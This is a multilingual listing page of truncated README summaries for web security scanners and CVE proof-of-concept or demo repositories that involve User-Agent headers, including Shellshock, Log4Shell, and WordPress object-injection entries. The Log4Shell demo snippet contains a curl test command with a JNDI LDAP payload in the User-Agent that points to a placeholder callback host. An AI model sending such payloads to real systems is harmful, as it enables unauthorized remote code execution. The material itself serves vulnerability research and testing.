pidrila

PIDRILA Current Release: v0.1.0 2020.11.08 Overview PIDRILA : P ython I nteractive D eepweb-oriented R apid I ntelligent L ink A nalyzer is really fast async web path scanner prototype developed by BrightSearch team for all ethical netstalkers. Installation & Usage git clone...

EUVD-2026-93569

Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server...

Pyison

Pyison Pyison은 AI 웹 크롤러를 위한 타르핏tarpit입니다 소개 모든 웹 크롤러와 마찬가지로 AI 봇은 웹 서버에서 페이지를 요청한 다음 페이지의 링크를 따라 다른 페이지로 이동합니다. 이렇게 하면 전체 웹사이트의 색인을 구축할 수 있습니다. 하지만 다른 웹 크롤러와 달리 AI 봇은 몇 가지 고유한 문제를 제기합니다. 서버 관리자는 웹 크롤러에게 크롤링해야 할 페이지와 크롤링하지 말아야 할 페이지를 알려주는 robots.txt 파일을 구성할 수 있습니다. 일부 AI 크롤러는 이 파일을 무시하는 것으로 밝혀졌습니다...

gospider

GoSpider GoSpider - Fast web spider written in Go Painless integrate Gospider into your recon workflow? this project was part of Osmedeus Engine. Check out how it was integrated at @OsmedeusEngine Installation GO install GO111MODULE=on go install github.com/jaeles-project/gospider@latest Docker...

hsecscan

hsecscan A security scanner for HTTP response headers. Requirements Python 2.x Python Modules os.path argparse sqlite3 urlparse urllib2 urllib json ssl Install $ pip install hsecscan Usage $ hsecscan usage: hsecscan.py -h -P -p -H Header -u URL -R -i -U User-Agent -D DBFILE -d 'POST data' -x PROX...

vaas-cve-2014-6271

서비스로서의 취약점 - CVE 2014-6271 취약한 버전의 bash와 CVS-2014-6271일명 Shellshock을 시연하는 웹 애플리케이션이 포함된 Debian Buster Linux 시스템입니다. 개요 이 도커 컨테이너는 Debian Buster 기반이며, 취약한 버전의 Bashbash4.2:2b:dfsg-0.1를 사용하도록 수정되었습니다. 웹 애플리케이션은 Apache 2를 통해 제공되며, 셸 명령어를 실행하는 CGI 스크립트를 서빙합니다. 사용법 다음 명령어로 컨테이너를 설치합니다: docker pull...

useragent

useragent 一份全面且分类的用户代理字符串集合。 安装说明 要安装 useragent 工具，请使用以下命令： go install -v github.com/projectdiscovery/useragent/cmd/ua@latest 使用说明 要查看工具的帮助信息，请使用以下命令： ua -h 这将显示工具支持的所有标志： ua is a straightforward tool to query and filter user agents Usage: ./ua flags Flags: -list list all the categorized tags of...

Goreport

Goreport v3.0, Gophish 보고 도구 이 스크립트는 Gophish 캠페인 ID를 매개변수로 받아 캠페인 결과를 수집하여 통계를 제시하고, IP 주소에 대한 사용자 에이전트 파싱 및 지리적 위치 조회를 수행합니다. Goreport는 IP 주소, 운영 체제, 브라우저 유형 및 버전, 위치 목록을 생성하며, 각 항목이 캠페인 전체에서 관찰된 횟수를 포함합니다. 통계 관련 참고 사항: Goreport는 전체 이벤트 수와 각 이벤트에 참여한 이메일 수신자 수를 보고합니다. 즉, Goreport는 Gophish가...

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

rbuster

Rbuster yet another dirbuster Common Command line options -a - specify a user agent string to send in the request -c - use this to specify any cookies that you might need simulating auth. header. -f - force processing of a domain with wildcard results. -l - show the length of the response. -r...

CVE-2026-54806

WP Activity Log PHP 객체 주입 CVE-2026-54806 PoC 📜 설명 CVE-2026-54806은 Melapress의 WP Activity Log WordPress 플러그인wp-security-audit-log에서 발견된 치명적인CVSS 9.8 인증되지 않은 PHP 객체 주입 취약점입니다. 인증되지 않은 공격자는 기록된 이벤트예: 로그인 실패를 트리거하는 모든 요청의 User-Agent 헤더를 통해 직렬화된 PHP 객체를 주입할 수 있습니다. 주입된 페이로드는 데이터베이스에 저장되며, 관리자가 WordPre...

CVE-2024-50395

CVE-2024-50395 CVE 情報 ユーザーが制御するキーによる認証バイパスの脆弱性が、Media Streaming アドオンに影響を与えることが報告されています。この脆弱性が悪用されると、ローカルネットワークの攻撃者が権限を昇格させる可能性があります。この脆弱性は、以下のバージョンですでに修正されています: Media Streaming アドオン 500.1.1.6 2024/08/02 以降 PoC GIF 根本原因 GET メソッドによる認証バイパス Ghidra の関数 FUN001293f0 元のソースコードでは ParseHttpHeaders...

xsssniper

XSSSNIPER xsssniper is an handy xss discovery tool with mass scanning functionalities. Usage: Usage: xsssniper.py options Options: -h, --help show this help message and exit -u URL, --url=URL target URL --post try a post request to target url --data=POSTDATA post data to use --threads=THREADS...

Egyscan

EgyScan V3.4 "Ultra" : 무적의 디지털 요새 🏰 디지털 영역의 수호자 여러분, 안녕하십니까! 🛡️ EgyScan V3.0 과 함께 특별한 여정을 떠날 준비를 하십시오. 이 궁극의 파수꾼은 당신의 웹사이트를 끊임없는 사이버 위협으로부터 난공불락의 요새로 탈바꿈시킵니다. 디지털 방어의 미래를 탐험해 봅시다. EgyScan이 당신의 온라인 영역을 지키는 막을 수 없는 힘으로 등장합니다. 🚀 EgyScan으로 비할 데 없는 힘을 해방하라 🚀 EgyScan 은 단순한 도구 그 이상입니다. 당신 디지털 삶의 수호천사입니다...

log4shell-demo

Log4ShellCVE-2021-44228에 취약한 간단한 Spring Boot 애플리케이션 기본 로깅 프레임워크를 logback에서 log4j2로 변경 애플리케이션은 'User-Agent' 헤더를 로깅하므로, curl과 interactsh-service를 사용하여 취약점을 테스트할 수 있습니다: curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ app.interactsh.com에서 DNS 상호작용을 확인할 수 있습니다. Docker hub Docker hub로 이...

CVE-2025-59712_CVE-2025-59713

CVE-2025-59712 및 CVE-2025-59713에 대한 PoC 이 PoC는 CVE-2025-59712User-Agent 헤더의 XSS와 CVE-2025-59713안전하지 않은 역직렬화을 악용하는 자동화 스크립트를 제공합니다. 배경 이 두 취약점은 Snipe-IT 소프트웨어에 대한 취약점 연구 중 Synacktiv에 의해 발견되었습니다. Snipe-IT는 Laravel 기반의 오픈소스 자산 관리 시스템으로, 조직이 물리적 및 디지털 자산을 추적하고 관리할 수 있도록 설계되었습니다. 기술적인 분석 내용은 Synacktiv...

apidetector

APIDetector is a powerful and efficient tool designed for testing exposed Swagger endpoints in various subdomains with unique smart capabilities to detect false-positives. It's particularly useful for security professionals and developers who are engaged in API testing and vulnerability scanning...

scenester

Scenester Scenester - 複数のユーザーエージェントを指定してウェブサイトを視覚的にスナップショットするツール。アプリケーションへのさまざまなエントリーポイントの発見を支援するために設計されています。 NCC Group Plc によりオープンソースとして公開 - http://www.nccgroup.com/ 開発者: Sharique Shaikh、sharique dot shaikh at nccgroup dot com https://www.github.com/nccgroup/scenester AGPL のもとで公開。詳細については LICENSE...

OSTE-Web-Log-Analyzer

OSTE-Web-Log-Analyzer Python 웹 로그 분석기로 웹 서버 로그 분석 과정을 자동화하세요. 이 강력한 도구는 서버 로그 내에서 다양한 유형의 사이버 공격을 식별하고 탐지하여 보안을 강화하도록 설계되었습니다. 다음과 같은 기능을 통해 잠재적 위협보다 앞서 나가십시오: 목차 특징 향후 기능 설치 사용법 기여 라이선스 특징 1. 공격 탐지: 잠재적인 크로스 사이트 스크립팅XSS, 로컬 파일 포함LFI, 원격 파일 포함RFI 및 기타 일반적인 웹 애플리케이션 공격을 식별하고 플래그를 지정합니다. 2. 속도 제한...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator 소개 이 도구를 사용하면 사용자가 제공한 Java 및 Log4J 버전에 대해 간단한 Java 웹 앱이 CVE-2021-44228에 취약한지 확인할 수 있습니다. 또한 선택적으로 몇 가지 사전 정의된 완화 조치 중 하나를 적용할 수 있습니다. log4shellvalidator.py로 구동되는 시뮬레이션 랩은 docker-compose를 사용하여 log4j 취약점을 악용하고 취약한 머신에서 RCE를 얻는 과정을 시뮬레이션합니다. 작동 방식 먼저, 일부 도커 이미지를...